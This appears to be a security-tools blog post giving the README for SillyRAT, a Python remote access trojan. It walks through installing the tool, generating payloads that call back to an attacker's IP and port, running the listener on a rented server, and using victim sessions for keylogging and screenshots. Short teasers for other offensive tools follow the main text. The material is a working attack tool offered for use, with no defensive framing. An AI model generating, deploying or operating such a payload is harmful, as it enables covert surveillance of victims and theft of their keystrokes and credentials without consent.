SillyRAT is a cross platform RAT written in pure Python. The RAT accept commands alongside arguments to either perform as the server who accepts connections or to perform as the client/target who establish connections to the server. The generate command uses the module pyinstaller to compile the actual payload code. So, in order to generate payload file for your respective platform, you need to be on that platform while generating the file. Moreover, you can directly get the source file as well.
Installation
The tool is tested on Parrot OS with Python 3.8. Follow the steps for installation:
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
Documentation
You can get the payload file in two ways:
The source file is to remain same on all platforms. So, you can generate it on one platform and use it on the other. Getting the source file:
$ python3 server.py generate –address 134.276.92.1 –port 2999 –output /tmp/payload.py –source
The compiled version has to generated on the respective platform. For example, you can’t generate an .exe file on Linux. You specifically have to be on Windows. The tool is still under testing. So, all kinds of errors are accepted. Make sure to open an issue though. Generating the Compiled Version for Linux:
$ python3 server.py generate –address 134.276.92.1 –port 2999 –output /tmp/filer
Replace your IP Address and Port on above commands.
The server must be executed on Linux. You can buy a VPS or Cloud Server for connections. For the record, the server doesn’t store any session from last run. So, all the progress will lost once the server application gets terminated. Running your server:
$ python3 sillyrat.py bind –address 0.0.0.0 –port 2999
Connections
All the connections will be listed under sessions command:
$ sessions
You can connect to you target session with connect command and launch one of available commands:
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot
Help
Get a list of available commands:
$ help
Help on a Specific Command:
$ help COMMAND
Kali Linux 2024.4, the final release of 2024, brings a wide range of updates and…
This Go program applies a lifetime patch to PowerShell to disable ETW (Event Tracing for…
GPOHunter is a comprehensive tool designed to analyze and identify security misconfigurations in Active Directory…
Across small-to-medium enterprises (SMEs) and managed service providers (MSPs), the top priority for cybersecurity leaders…
The free and open-source security platform SecHub, provides a central API to test software with…
Don't worry if there are any bugs in the tool, we will try to fix…